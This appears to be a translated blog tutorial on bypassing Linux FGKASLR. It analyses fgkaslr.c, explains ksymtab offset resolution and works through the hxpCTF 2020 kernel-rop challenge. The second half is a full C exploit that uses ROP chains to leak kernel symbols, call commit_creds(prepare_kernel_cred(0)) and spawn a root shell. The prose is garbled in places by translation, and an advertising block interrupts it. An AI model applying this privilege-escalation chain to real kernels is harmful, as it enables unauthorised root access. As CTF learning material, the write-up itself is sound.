Kernel-Pwn-FGKASLR protection bypass

FGKASLR

FGASLR (Function Granular KASLR) is an enhanced version of KASLR that adds finer-grained address randomization. Therefore, in the kernel with FGASLR enabled, even if the program base address of the kernel is leaked, any kernel function cannot be called.

layout_randomized_image

There are randomization details in the fgkaslr.c file .

/*
	linux/arch/x86/boot/compressed/fgkaslr.c
*/
void layout_randomized_image(void *output, Elf64_Ehdr *ehdr, Elf64_Phdr *phdrs)
{
    
    
    ...
	shnum = ehdr->e_shnum; //获取节区的数量
	shstrndx = ehdr->e_shstrndx; //获取字符串的索引
    ...
	/* we are going to need to allocate space for the section headers */
	sechdrs = malloc(sizeof(*sechdrs) * shnum); //开辟一段空间用于防止节区头部
	if (!sechdrs)
		error("Failed to allocate space for shdrs");

	sections = malloc(sizeof(*sections) * shnum); //开辟一段空间用户防止节区的内容
	if (!sections)
		error("Failed to allocate space for section pointers");

	memcpy(sechdrs, output + ehdr->e_shoff,
	       sizeof(*sechdrs) * shnum); //拷贝头部数据

	/* we need to allocate space for the section string table */
	s = &sechdrs[shstrndx]; //获取节区名

	secstrings = malloc(s->sh_size); //开辟一段空间用于防止节区名称
	if (!secstrings)
		error("Failed to allocate space for shstr");

	memcpy(secstrings, output + s->sh_offset, s->sh_size); //拷贝节区名称

	/*
	 * now we need to walk through the section headers and collect the
	 * sizes of the .text sections to be randomized.
	 */
	for (i = 0; i < shnum; i++) {
    
     //遍历节区,选择需要重定位的节区
		s = &sechdrs[i];
		sname = secstrings + s->sh_name;

		if (s->sh_type == SHT_SYMTAB) {
    
     //遇到符号节区跳过
			/* only one symtab per image */
			if (symtab)
				error("Unexpected duplicate symtab");

			symtab = malloc(s->sh_size);
			if (!symtab)
				error("Failed to allocate space for symtab");

			memcpy(symtab, output + s->sh_offset, s->sh_size);
			num_syms = s->sh_size / sizeof(*symtab);
			continue;
		}
        ...
		if (!strcmp(sname, ".text")) {
    
     //第一个.text的节区直接跳过
			if (text)
				error("Unexpected duplicate .text section");
			text = s;
			continue;
		}

		if (!strcmp(sname, ".data..percpu")) {
    
     //遇到.data..precpu的节区也直接跳过
			/* get start addr for later */
			percpu = s;
			continue;
		}

		if (!(s->sh_flags & SHF_ALLOC) ||
		    !(s->sh_flags & SHF_EXECINSTR) ||
		    !(strstarts(sname, ".text"))) //若一个节区具有SHF_ALLOC与SHF_EXECINSTR的标志位,并且节区名的前缀属于.text则会进行细粒度的地址随机化
			continue;

		sections[num_sections] = s; //剩余的节区都放置到新开辟的空间中,进行细粒度的地址随机化
		num_sections++;
	}
	sections[num_sections] = NULL;
	sections_size = num_sections;
    ...
}

Through the above code analysis, we can see that

  • Symbol sections do not perform fine-grained address randomization

  • The first .textsection does not perform fine-grained address randomization

  • It needs to have both the flag bit SHF_ALLOCand SHF_EXECINSTRthe prefix of the section area .textto be selected for fine-grained address randomization

It can be seen that layout_randomized_imagethe function will still maintain the original section offset, but will find another space in the memory for storage, which leads to the fact that not all sections use the kernel program base address as the kernel program base address when the kernel enables FGKASLR protection. The base address is offset. If you want to call any kernel function, you need to find the base address of the section where the calling function is located, which makes the use more complicated.

Bypass of FGKASLR protection

To bypass FGKASLR, we can select unaffected nodes for gadgetchain ROPconstruction.

The first is the section area that does not exist SHF_ALLOCwith the flag bitSHF_EXECINSTR

image-20230703202123018

The second is .textthe section area, you can see 0x200000the size of the section area, so you can choose 0xffffffff81000000 - 0xffffffff81000000 + 0x200000, and the options gadgetare quite sufficient.

image-20230703202341608

The above-mentioned section areas are not affected by FGKASLR protection. Only the base address of the kernel program needs to be leaked, and the vulnerability can be exploited according to the idea of ​​bypassing KASLR.

To help you study cybersecurity, you can receive a full set of information for free:
① Mind map of cybersecurity learning and growth path
② 60+ classic cybersecurity toolkits
③ 100+ SRC analysis reports
④ 150+ e-books on cybersecurity attack and defense techniques
⑤ The most authoritative CISSP Certification Exam Guide + Question Bank
⑥ More than 1800 pages of CTF Practical Skills Manual
⑦ Collection of the latest interview questions from network security companies (including answers)
⑧ APP Client Security Testing Guide (Android+IOS)

To return to user mode after completing privilege escalation in kernel mode, we need to callcommit_creds(prepare_kernel_cred(0)) -> swapgs -> iretq

Therefore, first check commit_credswhether prepare_kernel_credthe function meets the requirements. You can see that commit_credsthe address of the function is 0xffffffff814c6410, prepare_kernel_credand the address of the function 0xffffffff814c67f0is beyond .textthe section space (here I turned off KASLR).

image-20230703203853456

You can run the environment several times, check the addresses of these two functions, and you will find that the offset of the end address will always change. (KASLR enabled)

cat /proc/kallsyms | grep -E "commit_creds|prepare_kernel_cred"

first

image-20230703204358552

the second time

image-20230703204436120

It can be seen that the address of the first run is completely different from that of the second run, but in the non-fine-grained section, ksymtabonly the middle nine bits (KASLR) have changed, and the rest are consistent. This is also the difference KASLRwith FGKASLR. However, the actual utilization needs to use these two functions, so special methods are still required to leak the actual addresses of these two functions. (1) Ability to leak the existing base addresses of these two functions (2) Read addresses through the symbol table.

Here, the method (2) is used to leak the function address. ksymtabThe symbol table of the kernel function is stored in the section, and the following structure is used for maintenance.

struct kernel_symbol {
    
    
	  int value_offset;
	  int name_offset;
	  int namespace_offset;
};
  • value_offset: the offset of the value of the kernel symbol
  • name_offset: the offset of the name of the kernel symbol
  • namespace_offset: The offset or address in memory of the name of the namespace to which the kernel symbol belongs.

So value_offsetit is what we are concerned about. It should be noted here that the offset address here is based on the offset of the current address. Take ksymtab_commit_credsas an example, ksymtab_commit_credsthe address value of 0xffffffffa8587d90, the value stored at the address 0xffa17ef0, the calculated result is 0xffffffffa8587d90- (2^32 - 0xffa17ef0) = 0xffffffffa7f9fc80, the result is just commit_credsthe address value of the function, here is an explanation of why it is needed (2^32 - 0xffa17ef0), because value_offsetit is inta type, 0xffa17ef0but a negative number, so it needs to be converted before proceeding The subtraction is the actual value.

image-20230703210116622

Then use the above method to find the address commit_credsof prepare_kernel_credthe function.

Then let’s look at how to get the address of swapgsthe and iretqinstruction. When I introduced how to bypass it , I kptiintroduced a special function swapgs_restore_regs_and_return_to_usermode. In addition to cr3converting the page table, it also has swapgsthe and iretqinstruction. Search the address of this function in the kernel, and you can find that it is within .textthe range of the section area, so this address can be used directly.

image-20230703210936389

Therefore, the bypass FGKASLRmethod comes out. First, leak the base address of the kernel program, obtain the address of and through the base address , __ksymtab_commit_credsobtain __ksymtab_prepare_kernel_credthe actual address of the function through the above two symbols, and finally return to the user mode through the function.commit_credsprepare_kernel_credswapgs_restore_regs_and_return_to_usermode

hxpCTF 2020 kernel-rop

run.sh

qemu-system-x86_64 \
    -m 128M \
    -cpu kvm64,+smep,+smap \
    -kernel vmlinuz \
    -initrd initramfs.cpio.gz \
    -hdb flag.txt \
    -snapshot \
    -nographic \
    -monitor /dev/null \
    -no-reboot \
    -append "console=ttyS0  kaslr kpti=1  quiet panic=1" \
    -s

Here we still use the core questions of hxpCTF 2020 as an example

Project address: https://github.com/h0pe-ay/Kernel-Pwn

As mentioned before, there is a stack overflow vulnerability in the program, and it allows us to read the data on the kernel stack. By reading the data on the kernel stack, the values canary​​​​and the base address of the program can be leaked. What needs special attention here is that when When enabled FGKASLR, not all addresses can be used to calculate the base address, only .textaddresses within the range can be found, otherwise the kernel program base address cannot be calculated. Therefore, the address selected here 0xffffffff8100a157is used as the leaked address.

image-20230703211839527

Then after leaking the address canaryand address, we can use the stack overflow to complete the privilege escalation and return to the user state. In the previous use in the user state, we can use writeor puts function to read the content in the address, but in the use of the kernel state. There is no need to be so troublesome. For example, the address can be __ksymtab_commit_credsassigned to raxthe register first, and then mov rax,[rax]; retthe instruction passed can complete the read operation of the specified address. gadgetHere I am using

0xffffffff81004d11: pop rax; ret; [0x4d11]
0xffffffff81015a7f: mov rax, qword ptr [rax]; pop rbp; ret; [0x15a7f]

First use pop rax; retthe instruction to __ksymtab_commit_credsassign the address of the function to raxthe register, and then use mov rax, qword ptr [rax];the function to __ksymtab_commit_credsread the content of the address into raxthe register, then the next step is how to extract raxthe register. You can use swapgs_restore_regs_and_return_to_usermodethe function to temporarily return to the user mode, and then use inline assembly to extract the value. It should be noted here that ROPthe chain needs to be separated from the inline assembly, otherwise raxthe register may be optimized by the compiler, that is, there will be raxan operation to clear the register . And all the search gadgetmust be selected from the section area that will not be fine-grained adjustment, otherwise the real address cannot be obtained.

...
void start()
{
    
    
	unsigned long payload[256];
	unsigned int index = 0;
	for(int i = 0; i < (16); i ++)
		payload[index++] = 0;
	//iretq RIP|CS|RFLAGS|SP|SS
	payload[index++] = canary;
	payload[index++] = 0;
	payload[index++] = 0;
	payload[index++] = 0;
	payload[index++] = image_base +  0x4d11; //pop_rax_ret
	payload[index++] = image_base + 0xf87d90; //__ksymtab_commit_creds
	payload[index++] = image_base + 0x15a7f; // mov rax, qword ptr [rax]; pop rbp; ret;
	payload[index++] = 0;
	payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov    rdi,rsp;
	payload[index++] = 0;
	payload[index++] = 0;
	payload[index++] = (unsigned long)leak_commit_creds;
	payload[index++] = user_cs;
	payload[index++] = user_rflags;
	payload[index++] = user_sp;
	payload[index++] = user_ss;
	write(fd, payload, index * 8);
	
}

void leak_commit_creds()
{
    
    
	__asm(
		".intel_syntax noprefix;"
		"mov commit_creds_offset, eax;"
		".att_syntax;"
	);
	printf("commit_cred_offset:0x%x\n", commit_creds_offset);
	commit_creds = image_base + 0xf87d90 + (int)commit_creds_offset;
	printf("commit_cred:0x%lx\n", commit_creds);
	jmp_leak_prepare_kernel_cred();
}
...

After the call, the value of the register prepare_kernel_credneeds to be passed to the register because it needs to be used as a parameter of the function. But after searching for a long time, there is no suitable one , so inline assembly is still used to read the value of the register and then pass it to the function. ** Special attention is required here, it is best not to use too many global variable storage, otherwise the variable values ​​of user_cs, user_rflags, user_sp, and user_ss saved at the beginning will be overwritten. **Therefore, I specifically initialize these variables with specific values, so that these variables are stored in the segment to prevent them from being overwritten by other values.raxrdicommit_creds.textgadgetraxcommit_credspayload.data

image-20230703214402506

Therefore, FGKASLRthe bypassing of the protection is actually to use FGKASLRthe characteristics, and only select the appropriate one in a specific area gadget, so as to FGKASLRweaken it KASLRand continue to use it.

exp

#include <stdio.h>
#include <fcntl.h>

/*
0xffffffff81006370: pop rdi; ret;  --  [0x6370]
0xffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode -- [0x200f10]
0xffffffff81004d11: pop rax; ret; [0x4d11]
0xffffffff81015a7f: mov rax, qword ptr [rax]; pop rbp; ret; [0x15a7f]
0xffffffff81f87d90 r __ksymtab_commit_creds [0xf87d90]
0xffffffff81f8d4fc r __ksymtab_prepare_kernel_cred [0xf8d4fc]
*/

//iretq RIP|CS|RFLAGS|SP|SS 
#define MAX 1
int fd;
unsigned long user_cs = MAX,user_rflags = MAX,user_sp = MAX,user_ss = MAX;

unsigned long image_base;
unsigned long commit_creds;
unsigned long prepare_kernel_cred;
unsigned long canary;

int prepare_kernel_cred_offset;
int commit_creds_offset;
unsigned long cred;


void save_state();
void backdoor();
void leak_commit_creds();
void leak_prepare_kernel_cred();
void get_cred();
void jmp_get_cred();
void jmp_leak_prepare_kernel_cred();
void jmp_get_cred();
void jmp_back_door();
void start();


void save_state()
{
    
    
	__asm(
		".intel_syntax noprefix;"
		"mov user_cs, cs;"
		"mov user_sp, rsp;"
		"mov user_ss, ss;"
		"pushf;"
		"pop user_rflags;"
		".att_syntax;"
	);
	puts("***save state***");
	printf("user_cs:0x%lx\n", user_cs);
	printf("user_sp:0x%lx\n", user_sp);
	printf("user_ss:0x%lx\n", user_ss);
	printf("user_rflags:0x%lx\n", user_rflags);
	puts("***save finish***");
}

void backdoor()
{
    
    
	puts("***getshell***");
	system("/bin/sh");
}

void start()
{
    
    
	unsigned long payload[256];
	unsigned int index = 0;
	for(int i = 0; i < (16); i ++)
		payload[index++] = 0;
	//iretq RIP|CS|RFLAGS|SP|SS
	payload[index++] = canary;
	payload[index++] = 0;
	payload[index++] = 0;
	payload[index++] = 0;
	payload[index++] = image_base +  0x4d11; //pop_rax_ret
	payload[index++] = image_base + 0xf87d90; //__ksymtab_commit_creds
	payload[index++] = image_base + 0x15a7f; // mov rax, qword ptr [rax]; pop rbp; ret;
	payload[index++] = 0;
	payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov    rdi,rsp;
	payload[index++] = 0;
	payload[index++] = 0;
	payload[index++] = (unsigned long)leak_commit_creds;
	payload[index++] = user_cs;
	payload[index++] = user_rflags;
	payload[index++] = user_sp;
	payload[index++] = user_ss;
	write(fd, payload, index * 8);
	
}

void leak_commit_creds()
{
    
    
	__asm(
		".intel_syntax noprefix;"
		"mov commit_creds_offset, eax;"
		".att_syntax;"
	);
	printf("commit_cred_offset:0x%x\n", commit_creds_offset);
	commit_creds = image_base + 0xf87d90 + (int)commit_creds_offset;
	printf("commit_cred:0x%lx\n", commit_creds);
	jmp_leak_prepare_kernel_cred();
}

void jmp_leak_prepare_kernel_cred()
{
    
    
	unsigned long payload[256];
	unsigned int index = 0;
	for(int i = 0; i < (16); i ++)
		payload[index++] = 0;
	//iretq RIP|CS|RFLAGS|SP|SS
	payload[index++] = canary;
	payload[index++] = 0;
	payload[index++] = 0;
	payload[index++] = 0;
	payload[index++] = image_base +  0x4d11; //pop_rax_ret
	payload[index++] = image_base + 0xf8d4fc; //__ksymtab_prepare_kernel_cred
	payload[index++] = image_base + 0x15a7f; // mov rax, qword ptr [rax]; pop rbp; ret;
	payload[index++] = 0;
	payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov    rdi,rsp;
	payload[index++] = 0;
	payload[index++] = 0;
	payload[index++] = (unsigned long)leak_prepare_kernel_cred;
	payload[index++] = user_cs;
	payload[index++] = user_rflags;
	payload[index++] = user_sp;
	payload[index++] = user_ss;
	write(fd, payload, index * 8);	
}


void leak_prepare_kernel_cred()
{
    
    
	__asm(
		".intel_syntax noprefix;"
		"mov prepare_kernel_cred_offset, rax;"
		".att_syntax;"
	);
	printf("prepare_kernel_cred_offset:0x%x\n", prepare_kernel_cred_offset);
	prepare_kernel_cred = image_base + 0xf8d4fc + (int)prepare_kernel_cred_offset;
	printf("prepare_kernel_cred:0x%lx\n", prepare_kernel_cred);
	printf("jmp get cred\n");
	jmp_get_cred();
}

void jmp_get_cred()
{
    
    
	unsigned long payload[256];
	unsigned int index = 0;
	for(int i = 0; i < (16); i ++)
		payload[index++] = 0;
	//iretq RIP|CS|RFLAGS|SP|SS
	payload[index++] = canary;
	payload[index++] = 0;
	payload[index++] = 0;
	payload[index++] = 0;
	payload[index++] = image_base +  0x6370; //pop_rdi_ret
	payload[index++] = 0;
	payload[index++] = prepare_kernel_cred; // prepare_kernel_cred
	payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov    rdi,rsp;
	payload[index++] = 0;
	payload[index++] = 0;
	payload[index++] = (unsigned long)get_cred;
	payload[index++] = user_cs;
	payload[index++] = user_rflags;
	payload[index++] = user_sp;
	payload[index++] = user_ss;
	write(fd, payload, index * 8);	
	
}


void get_cred()
{
    
    
	__asm(
		".intel_syntax noprefix;"
		"mov cred, rax;"
		".att_syntax;"
	);
	printf("cred:0x%lx\n", cred);
	jmp_back_door();
}

void jmp_back_door()
{
    
    
	unsigned long payload[256];
	unsigned int index = 0;
	for(int i = 0; i < (16); i ++)
		payload[index++] = 0;
	//iretq RIP|CS|RFLAGS|SP|SS
	payload[index++] = canary;
	payload[index++] = 0;
	payload[index++] = 0;
	payload[index++] = 0;
	payload[index++] = image_base +  0x6370; //pop_rdi_ret
	payload[index++] = cred; 		 //cred
	payload[index++] = commit_creds; // commit_creds
	payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov    rdi,rsp;
	payload[index++] = 0;
	payload[index++] = 0;
	payload[index++] = (unsigned long)backdoor;
	payload[index++] = user_cs;
	payload[index++] = user_rflags;
	payload[index++] = user_sp;
	payload[index++] = user_ss;
	write(fd, payload, index * 8);	
}

int main()
{
    
    
	save_state();
	fd = open("/dev/hackme", O_RDWR);
	unsigned long buf[256];
	read(fd, buf, 40 * 8);
	for(int i = 0; i < 40; i++)
		printf("i:%d\taddress:0x%lx\n",i, buf[i]);
	canary = buf[2];
	unsigned long leak_addr = buf[38];
	printf("leak addr:0x%lx\n", leak_addr);
	image_base = leak_addr - 0xa157;
	printf("ImageBase:0x%lx\n", image_base);
	start();
}

Guess you like

Origin blog.csdn.net/qq_38154820/article/details/131631111